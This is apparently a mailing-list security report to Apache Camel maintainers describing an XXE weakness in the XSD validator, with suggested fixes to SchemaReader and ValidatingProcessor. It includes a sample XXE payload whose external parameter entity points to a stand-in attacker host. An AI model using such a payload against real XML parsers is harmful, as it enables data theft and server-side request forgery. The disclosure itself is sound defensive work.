Dear All,
we are using XSD validation processor by camel-core library
...
.to("validator:classpath:xsd/exportenv70.xsd")
...
Our penetration tests found that application can be attacked by "XML
External Entity (XXE)"
(https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Validator)
We think that classes infected by this vulnerability are
org.apache.camel.processor.validation.SchemaReader.java
org.apache.camel.processor.validation.ValidatingProcessor.java
Method SchemaReader.createSchemaFactory should also set property
"factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");"
Method ValidatingProcessor.doProcess should set property to validator class
Validator validator = schema.newValidator();
//prevent XXE attack
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
If we try to validate infected XML against XSD we can see that camel is
trying to access external site (attackers.site) in this example
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attackers.site:53/TEST";>
%remote;
%run;
%trick;]>
Disabling mentioned properties should do the trick
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Validator
I would like to ask you if this will be created as a security BUG in
camel and if it will be fixed in the future version?
Can we use some workaround? Write our custom implementation of
ValidatingProcessor? Is it possible?
--
Best regards
Karel Jelínek
Unicorn Systems
https://unicorn.com/
